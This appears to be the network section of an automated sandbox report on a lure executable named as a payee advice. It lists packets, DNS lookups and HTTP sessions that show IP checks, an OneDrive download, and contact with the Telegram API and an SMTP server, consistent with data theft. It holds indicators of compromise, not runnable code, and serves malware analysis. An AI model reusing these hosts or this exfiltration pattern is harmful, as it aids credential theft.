Nov 20, 2024 10:25:41.445883036 CET	49745	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:41.866524935 CET	443	49746	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:41.872000933 CET	49746	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:41.872025967 CET	443	49746	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:42.008327007 CET	443	49746	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:42.008400917 CET	443	49746	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:42.008480072 CET	49746	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:42.009001970 CET	49746	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:42.012540102 CET	49745	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:42.013134003 CET	49747	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:42.017981052 CET	80	49745	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:42.017996073 CET	80	49747	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:42.018032074 CET	49745	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:42.018089056 CET	49747	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:42.019766092 CET	49747	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:42.024605989 CET	80	49747	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:43.153273106 CET	80	49747	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:43.154620886 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:43.154664040 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:43.154778004 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:43.155179024 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:43.155196905 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:43.195899010 CET	49747	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:43.622407913 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:43.626333952 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:43.626354933 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:43.768616915 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:43.768685102 CET	443	49748	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:43.768783092 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:43.769248962 CET	49748	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:43.772516012 CET	49747	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:43.773541927 CET	49749	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:43.780111074 CET	80	49747	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:43.780128002 CET	80	49749	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:43.780194998 CET	49747	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:43.780217886 CET	49749	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:43.780323029 CET	49749	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:43.786060095 CET	80	49749	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:44.542419910 CET	80	49749	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:44.543838978 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:44.543870926 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:44.543982029 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:44.544228077 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:44.544238091 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:44.586585045 CET	49749	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:45.022450924 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:45.032924891 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:45.032946110 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:45.204483986 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:45.204644918 CET	443	49750	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:45.204971075 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:45.206024885 CET	49750	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:45.228161097 CET	49749	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:45.229057074 CET	49751	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:45.257262945 CET	80	49749	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:45.257323027 CET	49749	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:45.258258104 CET	80	49751	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:45.258342981 CET	49751	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:45.261677980 CET	49751	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:45.297422886 CET	80	49751	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:46.208355904 CET	80	49751	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:46.209893942 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:46.209949970 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:46.210036993 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:46.210303068 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:46.210315943 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:46.258336067 CET	49751	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:46.688317060 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:46.691047907 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:46.691070080 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:46.817095041 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:46.819040060 CET	443	49752	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:46.819164991 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:46.819761038 CET	49752	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:46.823120117 CET	49751	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:46.824028015 CET	49753	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:46.829049110 CET	80	49751	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:46.830681086 CET	80	49753	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:46.830765009 CET	49751	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:46.830801964 CET	49753	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:46.830955982 CET	49753	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:46.835947990 CET	80	49753	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:47.619251013 CET	80	49753	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:47.621658087 CET	49754	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:47.621705055 CET	443	49754	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:47.621790886 CET	49754	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:47.622045040 CET	49754	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:47.622056007 CET	443	49754	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:47.664661884 CET	49753	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:48.114887953 CET	443	49754	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:48.116480112 CET	49754	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:48.116501093 CET	443	49754	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:48.276002884 CET	443	49754	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:48.276098013 CET	443	49754	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:48.276164055 CET	49754	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:48.285398960 CET	49754	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:48.323509932 CET	49753	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:48.328800917 CET	80	49753	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:48.328849077 CET	49753	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:48.331978083 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:48.332020044 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:48.332092047 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:48.332679033 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:48.332691908 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.003222942 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.003386974 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:49.005168915 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:49.005184889 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.005584955 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.007064104 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:49.051335096 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.262175083 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.262259960 CET	443	49755	149.154.167.220	192.168.2.4
Nov 20, 2024 10:25:49.262363911 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:49.267816067 CET	49755	443	192.168.2.4	149.154.167.220
Nov 20, 2024 10:25:55.177129984 CET	49741	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:55.911886930 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:55.919926882 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:55.920087099 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:56.968262911 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:56.968472004 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:56.974445105 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.183648109 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.185065985 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:57.190268993 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.390213966 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.391160011 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:57.396174908 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.646470070 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.646760941 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:57.651731014 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.852899075 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:57.853127956 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:57.860575914 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.073290110 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.075092077 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:58.082736969 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.279814005 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.280419111 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:58.280524015 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:58.280652046 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:58.280673027 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:58.280673027 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:25:58.285300016 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285322905 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285379887 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285541058 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285551071 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285598040 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285607100 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285653114 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285662889 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.285670996 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.944524050 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:25:58.992825985 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:27:35.430555105 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:27:35.435596943 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:27:35.838831902 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:27:35.838870049 CET	587	49756	37.27.123.72	192.168.2.4
Nov 20, 2024 10:27:35.838948965 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:27:35.838998079 CET	49756	587	192.168.2.4	37.27.123.72
Nov 20, 2024 10:27:35.843975067 CET	587	49756	37.27.123.72	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 10:25:30.623898029 CET	64193	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:25:31.669338942 CET	50287	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:25:33.692347050 CET	55540	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:25:33.699357033 CET	53	55540	1.1.1.1	192.168.2.4
Nov 20, 2024 10:25:35.840106010 CET	51900	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:25:35.852751970 CET	53	51900	1.1.1.1	192.168.2.4
Nov 20, 2024 10:25:48.324134111 CET	49265	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:25:48.331361055 CET	53	49265	1.1.1.1	192.168.2.4
Nov 20, 2024 10:25:55.395797968 CET	53291	53	192.168.2.4	1.1.1.1
Nov 20, 2024 10:25:55.910262108 CET	53	53291	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 10:25:30.623898029 CET	192.168.2.4	1.1.1.1	0xef4f	Standard query (0)	api.onedrive.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:31.669338942 CET	192.168.2.4	1.1.1.1	0x4c3c	Standard query (0)	4jjxew.dm.files.1drv.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:33.692347050 CET	192.168.2.4	1.1.1.1	0xe331	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:35.840106010 CET	192.168.2.4	1.1.1.1	0x3b31	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:48.324134111 CET	192.168.2.4	1.1.1.1	0x92da	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:55.395797968 CET	192.168.2.4	1.1.1.1	0x6822	Standard query (0)	mail.foodex.com.pk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 10:25:30.630913019 CET	1.1.1.1	192.168.2.4	0xef4f	No error (0)	api.onedrive.com	common-afdrk.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:25:30.630913019 CET	1.1.1.1	192.168.2.4	0xef4f	No error (0)	common-afdrk.fe.1drv.com	odc-commonafdrk-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:25:31.730397940 CET	1.1.1.1	192.168.2.4	0x4c3c	No error (0)	4jjxew.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:25:31.730397940 CET	1.1.1.1	192.168.2.4	0x4c3c	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:25:31.730397940 CET	1.1.1.1	192.168.2.4	0x4c3c	No error (0)	l-0003.l-dc-msedge.net		13.107.43.12	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:33.699357033 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:25:33.699357033 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:33.699357033 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:33.699357033 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:33.699357033 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:33.699357033 CET	1.1.1.1	192.168.2.4	0xe331	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:35.852751970 CET	1.1.1.1	192.168.2.4	0x3b31	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:35.852751970 CET	1.1.1.1	192.168.2.4	0x3b31	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:48.331361055 CET	1.1.1.1	192.168.2.4	0x92da	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:25:55.910262108 CET	1.1.1.1	192.168.2.4	0x6822	No error (0)	mail.foodex.com.pk	foodex.com.pk		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:25:55.910262108 CET	1.1.1.1	192.168.2.4	0x6822	No error (0)	foodex.com.pk		37.27.123.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

4jjxew.dm.files.1drv.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:33.710424900 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 10:25:35.219367981 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:35 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 10:25:35.224206924 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 10:25:35.498595953 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:35 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 10:25:36.484253883 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 10:25:36.755038977 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:37.398798943 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 10:25:38.371088982 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:38.966211081 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 10:25:39.998114109 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:40.592730999 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 10:25:41.391211033 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:42.019766092 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 10:25:43.153273106 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:43.780323029 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 10:25:44.542419910 CET	272	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	132.226.8.169	80	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:25:45.261677980 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
